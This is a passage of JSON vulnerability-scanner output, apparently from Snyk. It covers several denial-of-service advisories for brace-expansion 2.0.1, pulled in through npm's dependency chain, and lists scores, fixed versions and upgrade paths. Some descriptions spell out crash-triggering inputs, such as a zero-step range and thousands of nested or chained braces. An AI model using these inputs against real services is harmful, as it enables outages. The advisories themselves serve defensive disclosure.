"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
